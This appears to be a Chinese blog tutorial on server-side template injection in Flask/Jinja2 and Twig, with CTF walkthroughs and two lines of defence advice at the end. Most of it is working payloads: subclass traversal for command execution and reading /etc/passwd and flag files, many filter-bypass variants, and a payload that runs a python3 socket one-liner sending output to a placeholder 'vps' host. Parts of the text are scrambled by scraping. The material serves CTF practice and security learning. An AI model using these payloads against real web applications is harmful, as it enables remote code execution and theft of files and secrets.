原理说明:
一篇文章带你入门ssti
内含payload及绕过方法
github上的payload大全
SSTI漏洞
SSTI的原理就是服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容。
{{}}`并不仅仅可以传递变量,还可以执行一些简单的表达式,python语法的表达式都可以执行 简单例子:
相当于![image-20210818100505026](https://blog-pho.oss-cn-shanghai.aliyuncs.com/blog/image-20210818100505026.png) 判断不同后端的方法用下图: ![](6.png) # 知识点1
https://blog-pho.oss-cn-shanghai.aliyuncs.com/blog/image-20210818100505026.png
Flask使用的jinja2模板语法:1
2
3
4
5
6
7
8
9__class__ 返回类型所属的对象
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__bases__ 返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的
__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用
__dict__ 保存类实例或对象实例的属性变量键值对字典## 利用方式 获取object类然后获取object类的子类,遍历寻找可利用的类 * 第一步:获取基本类1
2
3
4
5{% ... %} for Statements
{{ ... }} for Expressions to print to the template output
{# ... #} for Comments not included in the template output* 第二步:获取基本类的子类 `object.__subclasses__()` ![image-20210818101631698](https://blog-pho.oss-cn-shanghai.aliyuncs.com/blog/image-20210818101631698.png) * 第三步:寻找命令执行或者文件操作的模块 1. 文件读取1
2
3
4''.__class__.__mro__[2]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]2. 命令执行 寻找`__builtins__`(可以调用eval)1
().__class__.__bases__[0].__subclasses__()[40]("/etc/passwd").read()
![image-20210818103000360](https://blog-pho.oss-cn-shanghai.aliyuncs.com/blog/image-20210818103000360.png) ## 寻找可用模块 * 寻找包含`__builtins__`的模块,使用eval调用1
2[].__class__.__base__.__subclasses__()[76].__ini
t__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")1
2
3
4
5
6
7
8
9
10
11
12#coding:utf-8
search = '__builtins__'
num = -1
for i in().__class__.__bases__[0].__subclasses__():
num+=1
try:
# print(i.__init__.__globals__.keys())
if search in i.__init__.__globals__.keys():
print(i,num)
except:
pass* 寻找包含`os`模块的类1
[].__class__.__bases__[0].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")
1
2
3
4
5
6
7
8
9
10#!/usr/bin/env python
# encoding: utf-8
for item in ''.__class__.__mro__[2].__subclasses__():
try:
if 'os' in item.__init__.__globals__:
print num,item
num+=1
except:
print '-'
num+=1![image-20210818103905331](https://blog-pho.oss-cn-shanghai.aliyuncs.com/blog/image-20210818103905331.png) * 使用burpsuite的Intruder模块爆破 ![image-20210818153134076](https://blog-pho.oss-cn-shanghai.aliyuncs.com/blog/image-20210818153134076.png) # 常用payload ## python2 * 读文件:1
''.__class__.__mro__[1].__subclasses__()[214].__init__.__globals__['os'].popen('whoami').read()
* 命令执行:1
().__class__.__bases__[0].__subclasses__()[40](r’/flag' ).read()
## python3 * 命令执行 命令执行的方法有以下几种 1. `os.system('whoami')` 2. `os.popen("whoami").read()` 3. `sys.modules('os').system("whoami")`1
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen(”ls").read()' )
* 文件读取1
2
3
4
5
6
7
8().__class__.__bases__[0].__subclasses__()[-4].__init__.__globals__['system']('ls')
''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__["sys"].modules["os"].system("ls")
[].__class__.__base__.__subclasses__()[127].__init__.__globals__['system']('ls')
config.__class__.__init__.__globals__['os'].popen('ls').read()
#自动遍历+命令执行
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}&input=whoami
#自动遍历+远程vps回显
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"vps\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\",\"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}Twig注入paylaod:1
2
3
4
5
6
7
8
9
10
11
12
13
14{{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}
{{()["\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f"]["\u005f\u005f\u0062\u0061\u0073\u0065\u0073\u005f\u005f"][0]["\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f"]()[80]["\u006c\u006f\u0061\u0064\u005f\u006d\u006f\u0064\u0075\u006c\u0065"]("os")["popen"]("ls /")|attr("read")()}}
# 用<class '_frozen_importlib.BuiltinImporter'>这个去执行命令
"""
{{()["__class__"]["__bases__"][0]["__subclasses__"]()[80]["load_module"]("os")["system"]("ls")}}
# 用<class '_frozen_importlib.BuiltinImporter'>这个去执行命令
"""
{{()["\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f"]["\u005f\u005f\u0062\u0061\u0073\u0065\u0073\u005f\u005f"][0]["\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f"]()[91]["\u0067\u0065\u0074\u005f\u0064\u0061\u0074\u0061"](0, "app.py")}}
"""
{{()["__class__"]["__bases__"][0]["__subclasses__"]()[91]["get_data"](0, "app.py")}}
# 用<class '_frozen_importlib_external.FileLoader'>这个去读取文件
"""# bypass * 关键词拼接 比如`'__c'+'lass__'` * 利用request.args属性(cookie等)1
username={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("ls")}}
* 十六进制编码1
2
3().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd
().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.cookies.get('username')).read()}}&path=/etc/passwd
#或者request.cookies.username* Unicode编码1
().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']
* 过滤点`.`的情况 1. `{{request|attr("get")}}1
().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f']
request.get
- jinja2模板中,
{{''.__class__}}
={{''['__cl'+'__ass']}}
- jinja2模板中,
过滤
[]
- 使用getitem绕过
1
''.__class__.__bases__.__getitem__(2)
使用getlist绕过
1
{{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
过滤
_
使用
request.args.a
和join
拼接字符串1
{{config|attr([request.args.a*2,request.args.b,request.args.a*2]|join)}}&a=_&b=class
过滤
|join
使用
format
1
{{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_
import bypass
1
2
3
4import os
__import__("os")
import importlib
importlib.import_module("os")
过大多数过滤的payload
1 | {{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}} |
xman训练营例题
1 | def waf(s): |
这里过滤了单引号,下划线,中括号,可以分别用request.cookies.*
、__getitem__
配合attr
绕过
最终payload
1 | {{config|attr(request.cookies.a)|attr(request.cookies.b)|attr(request.cookies.c)|attr(request.cookies.d)(request.cookies.e)|attr(request.cookies.f)(request.cookies.g)|attr(request.cookies.h)()}} |
攻防世界Shrine
使用了flask的模板,直接放源码
1 | import flask |
意思就是index是展示源代码,shrine/是执行输入的变量
分析&解题
先在本地执行一下safe_jinja(s)
函数看看
意思就是将之前设置在config中的flag清除,并且过滤了()
两个扩号
禁用了括号意味着大部分方法都无法调用,并且也没有系统上的文件可以查看
应该想到python内置的函数url_for
和get_flashed_messages
url_for的用法:
get_flashed_messages的用法:
初步构造payload看看url_for的全局变量有什么
发现一个current_app:Flask app指的就是当前app
构造url_for.__globals__['current_app'].config
payload查看current_app里面有什么
找到flag
bypass
SSTI防御
1.尽可能加载静态模板文件。
2.不要允许用户控制此类文件或其内容的路径。